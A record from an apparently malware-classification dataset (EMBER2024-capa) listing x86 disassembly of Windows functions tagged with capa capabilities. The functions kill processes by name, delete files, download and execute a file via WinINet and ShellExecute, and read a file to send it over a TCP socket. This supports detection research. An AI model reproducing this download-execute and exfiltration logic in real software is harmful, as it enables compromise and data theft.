joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1314b110
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [esp + 0x14], ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1314b17c
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
push dword [esp + 0xc]
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
je 0x1314b19a
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x1314b161
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret

Function at 0x1314b1c0
Capabilities:
Terminate process

Disassembly:
call fcn.1314b110
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
ret

Function at 0x1314b1e0
Capabilities:
Delete file
Terminate process

Disassembly:
push ecx
push esi
push edi
mov ecx, 0x131fb5e8
call fcn.1314b110
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
push 0
push 0x1f0fff
call edi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push eax
call esi
mov ecx, 0x131fb5e8
call fcn.1314b110
push eax
push 0
push 0x1f0fff
call edi
push 0
push eax
call esi
mov ecx, 0x131fb5e8
call fcn.1314b110
push eax
push 0
push 0x1f0fff
call edi
push 0
push eax
call esi
push 0x131fbc08
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ecx
ret
Function at 0x1314b4d0
Capabilities:
Delete file

Disassembly:
cmp dword [0x13c26f34], 0
je 0x1314b718
cmp dword [0x131fcab8], 0
je 0x1314b718
cmp dword [0x131fc0d0], 0
je 0x1314b718
cmp dword [0x13c25eec], 0
je 0x1314b718
cmp dword [0x131fe66c], 0
je 0x1314b718
cmp dword [0x13c2576c], 0
je 0x1314b718
cmp dword [0x131ef164], 0
je 0x1314b718
cmp dword [0x13bfd540], 0
je 0x1314b718
cmp dword [0x131fe944], 0
je 0x1314b718
cmp dword [0x131fd420], 0
je 0x1314b718
cmp dword [0x13c2521c], 0
je 0x1314b718
cmp dword [0x131fc6a4], 0
je 0x1314b718
cmp dword [0x13c260f0], 0
je 0x1314b718
cmp dword [0x13c26ecc], 0
je 0x1314b718
cmp dword [0x131eec64], 0
je 0x1314b718
cmp dword [0x13c26eb8], 0
je 0x1314b718
cmp dword [0x131fcabc], 0
je 0x1314b718
cmp dword [0x13c26ebc], 0
je 0x1314b718
cmp dword [0x13c25414], 0
je 0x1314b718
cmp dword [0x13c24f98], 0
je 0x1314b718
cmp dword [0x131fc29c], 0
je 0x1314b718
cmp dword [0x131fb9fc], 0
je 0x1314b718
cmp dword [0x131eec50], 0
je 0x1314b718
cmp dword [0x131eec54], 0
je 0x1314b718
cmp dword [0x131fe94c], 0
je 0x1314b718
cmp dword [0x13bfd538], 0
je 0x1314b718
cmp dword [0x131fb92c], 0
je 0x1314b718
cmp dword [0x131fc6a0], 0
je 0x1314b718
cmp dword [0x131eec58], 0
je 0x1314b718
cmp dword [0x131fc83c], 0
je 0x1314b718
cmp dword [0x13bfd314], 0
je 0x1314b718
cmp dword [0x13bfd964], 0
je 0x1314b718
cmp dword [0x131fd644], 0
je 0x1314b718
cmp dword [0x131fb8bc], 0
je 0x1314b718
cmp dword [0x131fdf88], 0
je 0x1314b718
cmp dword [0x13c2567c], 0
je 0x1314b718
cmp dword [0x131fdd84], 0
je 0x1314b718
cmp dword [0x13bfd2dc], 0
je 0x1314b718
cmp dword [0x13c24ecc], 0
je 0x1314b718
cmp dword [0x13c26ec8], 0
je 0x1314b718
cmp dword [0x131fe8d4], 0
je 0x1314b718
cmp dword [0x13c24f9c], 0
je 0x1314b718
cmp dword [0x131fb994], 0
je 0x1314b718
cmp dword [0x13bfd2d4], 0
je 0x1314b718
cmp dword [0x131fe668], 0
je 0x1314b718
cmp dword [0x13c26ab4], 0
je 0x1314b718
cmp dword [0x13bfd940], 0
je 0x1314b718
cmp dword [0x131fc16c], 0
je 0x1314b718
cmp dword [0x131eec9c], 0
je 0x1314b718
mov al, 1
ret
mov eax, dword [0x13c25218]
test eax, eax
je 0x1314b723
call eax
mov ecx, dword [0x13bfd53c]
call fcn.13165b70
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x131fbed0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.13146150
mov byte [0x131eec9a], 0
xor al, al
ret
Function at 0x1314be00
Capabilities:
Create thread
Delete file
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34c
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x348], eax
cmp byte [0x131eec61], 1
push esi
mov esi, ecx
jne 0x1314be38
mov ecx, dword [0x13c257d4]
call fcn.13165b70
mov byte [0x131eec61], 0
lea eax, [esp + 8]
push eax
push 0x131fdb20
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x1314c08a
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, 1
mov ecx, 0x131fdb20
call fcn.1314ae80
cmp al, 1
jne 0x1314c03e
mov ecx, dword [0x131eef04]
call fcn.131656c0
mov dword [0x13c257d4], eax
test eax, eax
jne 0x1314bed3
xor ecx, ecx
call fcn.13165b70
mov byte [0x131eec61], 0
test esi, esi
jne 0x1314becb
push 0x131da780
push str._0030
push 0x13c24ed0
lea eax, [esp + 0x154]
push str._s__s__s_
push eax
call fcn.13141a40
mov ecx, dword [0x131fba04]
lea edx, [esp + 0x15c]
add esp, 0x14
call fcn.13145790
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov edx, 0x131daddc
mov ecx, eax
call fcn.13165ae0
mov ecx, dword [0x13c257d4]
mov edx, 0x131dade0
mov dword [0x131fdf8c], eax
call fcn.13165ae0
mov ecx, dword [0x13c257d4]
mov edx, 0x131dade4
mov dword [0x131fba00], eax
call fcn.13165ae0
mov ecx, dword [0x13c257d4]
mov edx, 0x131dade8
mov dword [0x131fe888], eax
call fcn.13165ae0
mov ecx, dword [0x13c257d4]
mov edx, 0x131dadec
mov dword [0x131fe8c8], eax
call fcn.13165ae0
cmp dword [0x131fdf8c], 0
mov dword [0x13c25768], eax
je 0x1314c01d
cmp dword [0x131fba00], 0
je 0x1314c01d
cmp dword [0x131fe888], 0
je 0x1314c01d
cmp dword [0x131fe8c8], 0
je 0x1314c01d
test eax, eax
je 0x1314c01d
mov byte [0x131eec61], 1
test esi, esi
jne 0x1314bfb5
push 0x131da79c
push str._0030
push 0x13c24ed0
lea eax, [esp + 0x154]
push str._s__s__s_
push eax
call fcn.13141a40
mov ecx, dword [0x131fba04]
lea edx, [esp + 0x15c]
add esp, 0x14
call fcn.13145790
mov ecx, 0x131da79c
mov eax, 0x13c25ef0
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1314bfe0
test dl, dl
je 0x1314bfdc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1314bfe0
add eax, 2
add ecx, 2
test dl, dl
jne 0x1314bfc0
xor eax, eax
jmp 0x1314bfe5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1314c08a
lea eax, [esp + 4]
push eax
push 0
push 0
push 0x1314bd60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x13bfd2d0], eax
pop esi
mov ecx, dword [esp + 0x348]
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
push 0
push dword [0x13bfd2d0]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [0x13c257d4]
call fcn.13165b70
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x131fdb20
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [0x131eec61], 0
test esi, esi
jne 0x1314c08a
push 0x131da780
push str._0030
push 0x13c24ed0
lea eax, [esp + 0x154]
push str._s__s__s_
push eax
call fcn.13141a40
mov ecx, dword [0x131fba04]
lea edx, [esp + 0x15c]
add esp, 0x14
call fcn.13145790
mov ecx, dword [esp + 0x34c]
pop esi
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x1314c1b0
Capabilities:
Get file size

Disassembly:
push esi
push edi
mov ecx, 0x13bfd338
call fcn.13146df0
cmp eax, 1
jne 0x1314c206
push 0
push 0
push 3
push 0
push 3
push 0
push 0x13bfd338
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1314c1fe
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x927c0
jle 0x1314c206
mov al, 1
pop edi
pop esi
ret
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
ret

Function at 0x1314c210
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x208], 0x200
push eax
push 0x13bfd748
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1314c27f
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x204]
push eax
push 0
push 0
push 0x131fc7d8
push dword [ebp - 0x20c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1314c27f
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
call fcn.13198da3
mov esp, ebp
pop ebp
ret

Function at 0x1314c330
Capabilities:
Check mutex on windows
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
call fcn.1314c1b0
cmp al, 1
jne 0x1314c462
push 0x131fb8c8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
push esi
sete bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
jne 0x1314c42d
push 0x131fb8c8
push 0x131fc7d8
push 0x13c25770
push 0x13c26ab8
lea eax, [ebp - 0x208]
push str.10_s_s_s_s
push eax
call fcn.13141a40
lea ecx, [ebp - 0x208]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1314c3b1
sub ecx, edx
mov eax, 0xaaaaaaab
mul ecx
mov eax, 0xaaaaaaab
shr edx, 1
lea esi, [edx + edx*2]
mov edx, ecx
sub edx, esi
add esi, 3
test edx, edx
cmove esi, ecx
shl esi, 3
mul esi
shr edx, 2
inc edx
push edx
call fcn.131a89ce
lea edx, [ebp - 0x208]
add esp, 4
mov esi, eax
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1314c3f4
sub edx, ecx
lea ecx, [ebp - 0x208]
push esi
call fcn.13141a80
add esp, 4
push 1
push 0x131da42a
push esi
push 0x13bfd338
push 0x131da94c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, 0x131da79c
jmp 0x1314c432
mov eax, 0x131da8ec
push eax
push str._0073
push 0x13c24ed0
lea eax, [ebp - 0x408]
push str._s__s__s_
push eax
call fcn.13141a40
mov ecx, dword [0x131fba04]
lea edx, [ebp - 0x408]
add esp, 0x14
call fcn.13145790
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x1314c480
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x148
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x144], eax
push esi
push edi
lea eax, [esp + 8]
push eax
push 0x131fdd88
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x1314c50e
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0
push 3
push 0
push 3
push 0
push 0x131fdd88
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1314c506
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x927c0
jle 0x1314c50e
mov al, 1
pop edi
pop esi
mov ecx, dword [esp + 0x144]
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x14c]
xor al, al
pop edi
pop esi
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret

Function at 0x1314c530
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x148
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x144], eax
push esi
push edi
lea eax, [esp + 8]
push eax
push 0x131fbc08
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x1314c5be
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0
push 3
push 0
push 3
push 0
push 0x131fbc08
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1314c5b6
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x927c0
jle 0x1314c5be
mov al, 1
pop edi
pop esi
mov ecx, dword [esp + 0x144]
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x14c]
xor al, al
pop edi
pop esi
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x1314c650
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x408
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x404], eax
cmp byte [0x131eec63], 1
push esi
push edi
mov edi, ecx
jne 0x1314c6b3
test edi, edi
jne 0x1314c6ab
push 0x131daaf0
push str._0041
push 0x13c24ed0
lea eax, [esp + 0x14]
push str._s__s__s_
push eax
call fcn.13141a40
mov ecx, dword [0x131fba04]
lea edx, [esp + 0x1c]
add esp, 0x14
call fcn.13145790
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
call fcn.1314c1b0
cmp al, 1
lea eax, [esp + 8]
jne 0x1314c799
push 0x131da79c
push str._0041
push 0x13c24ed0
push str._s__s__s_
push eax
mov byte [0x131eec63], 1
call fcn.13141a40
add esp, 0x14
lea eax, [esp + 0x208]
push 0x13c260f8
push 0x13c25770
push 0x13c25ef0
push 0x13c26ab8
push str.1_s_s_s_s
push eax
call fcn.13141a40
lea ecx, [esp + 0x220]
add esp, 0x18
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1314c720
sub ecx, edx
mov eax, 0xaaaaaaab
mul ecx
mov eax, 0xaaaaaaab
shr edx, 1
lea esi, [edx + edx*2]
mov edx, ecx
sub edx, esi
add esi, 3
test edx, edx
cmove esi, ecx
shl esi, 3
mul esi
shr edx, 2
inc edx
push edx
call fcn.131a89ce
lea edx, [esp + 0x20c]
add esp, 4
mov esi, eax
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1314c764
sub edx, ecx
lea ecx, [esp + 0x208]
push esi
call fcn.13141a80
add esp, 4
push 1
push 0x131da42a
push esi
push 0x13bfd338
push 0x131da94c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x1314c7bd
push 0x131da780
push str._0041
push 0x13c24ed0
push str._s__s__s_
push eax
mov byte [0x131eec63], 0
call fcn.13141a40
add esp, 0x14
test edi, edi
jne 0x1314c7d0
mov ecx, dword [0x131fba04]
lea edx, [esp + 8]
call fcn.13145790
call fcn.1314c210
cmp al, 1
jne 0x1314c7de
call fcn.1314c330
mov ecx, dword [esp + 0x40c]
pop edi
pop esi
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x1314cb20
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
push str.Microsoft_Internet_Explorer
mov ebx, edx
mov esi, ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 0
push 0
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x1314cc09
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 1
jae 0x1314cb9e
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
nop dword [eax]
nop dword [eax + eax]
push 0x200
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
push 0x200
lea eax, [ebp - 0x204]
push eax
push edi
call ebx
push 0
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x208]
lea eax, [ebp - 0x204]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x208], 0
ja 0x1314cbb0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.13198da3
mov esp, ebp
pop ebp
ret

Function at 0x1314cef0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push 0x131fb6c8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x131fe8cc], eax
cmp eax, 0xffffffff
jne 0x1314cf26
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [0x131fe948], eax
call fcn.13199298
add esp, 4
mov dword [0x131fb64c], eax
lea ecx, [ebp - 4]
push 0
push ecx
push dword [0x131fe948]
push eax
push dword [0x131fe8cc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [0x131fe8cc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x1314d350
Capabilities:
Check mutex on windows
Create directory
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18c
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x188], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
lea eax, [esp + 0x50]
push eax
push 0x131fb6c8
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x1314d39e
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x1314d3f6
push 0
push 0x13c26ab8
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x3e8
call edi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push 0x131fb6c8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
lea ecx, [esp + 0x50]
mov dword [0x131fe8cc], eax
push ecx
push dword [0x131fe948]
push dword [0x131fb64c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [0x131fe8cc]
call esi
push 0x3e8
call edi
cmp byte [0x131eec9b], 0
jne 0x1314d40b
call fcn.1314cf70
push 0x131fc6a8
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
push 0x3e8
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x1314d4bb
push ebx
call esi
cmp byte [0x131eec62], 1
lea eax, [esp + 0x10]
xorps xmm0, xmm0
mov dword [esp + 0x10], 0x3c
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 5
mov dword [esp + 0x40], 0
mov dword [esp + 0x48], 0
movups xmmword [esp + 0x30], xmm0
push eax
jne 0x1314d49e
mov dword [esp + 0x24], 0x131fdff8
mov dword [esp + 0x28], 0x131fb6c8
jmp 0x1314d4ae
mov dword [esp + 0x24], 0x131fb6c8
mov dword [esp + 0x28], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push 0x13880
call edi
push ebx
call esi
push 0x13c25700
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
push 0x3e8
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x1314d56e
push ebx
call esi
cmp byte [0x131eec62], 1
lea eax, [esp + 0x10]
xorps xmm0, xmm0
mov dword [esp + 0x10], 0x3c
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 5
mov dword [esp + 0x40], 0
mov dword [esp + 0x48], 0
movups xmmword [esp + 0x30], xmm0
push eax
jne 0x1314d551
mov dword [esp + 0x24], 0x131fdff8
mov dword [esp + 0x28], 0x131fb6c8
jmp 0x1314d561
mov dword [esp + 0x24], 0x131fb6c8
mov dword [esp + 0x28], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push 0x13880
call edi
push ebx
call esi
push 0x131fb8c8
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
push 0x3e8
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x1314d5ad
push ebx
call esi
call fcn.1314c210
cmp al, 1
jne 0x1314d5ad
call fcn.1314c330
push 0x13880
call edi
push ebx
call esi
push 0x2710
call edi
jmp 0x1314d380
Function at 0x1314d5c0
Capabilities:
Check mutex on windows

Disassembly:
push 0x131fb650
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
ret

Function at 0x1314d7d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get file size
Initialize winsock library
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xeec
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0xee8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x160]
mov esi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, 2
push 0x13bfd944
mov word [esp + 0x14], ax
call fcn.131a85ab
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push 2
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [0x131fd62c]
mov dword [0x131fd6ac], eax
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x1314d9a1
push 0x10
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1314d975
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x1314d975
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x13c256e8], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push str._0017
push 0x13c24ed0
lea eax, [esp + 0xafc]
push str._s__s__d_
push eax
call fcn.13141a40
mov ecx, dword [0x131fd6ac]
lea edx, [esp + 0xb04]
add esp, 0x14
call fcn.13145790
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [sym.imp.WS2_32.dll_send]
nop dword [eax]
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0xc]
push 0
push eax
push 0x800
lea eax, [esp + 0x2fc]
push eax
push dword [0x13c256e8]
call edi
push 0
push dword [esp + 0x10]
lea eax, [esp + 0x2f8]
push eax
push dword [0x131fd6ac]
call ebx
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 1
call esi
cmp dword [esp + 0xc], 0x800
je 0x1314d8f0
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 2
push dword [0x131fd6ac]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x131fd6ac]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [0x13c256e8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0xef4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret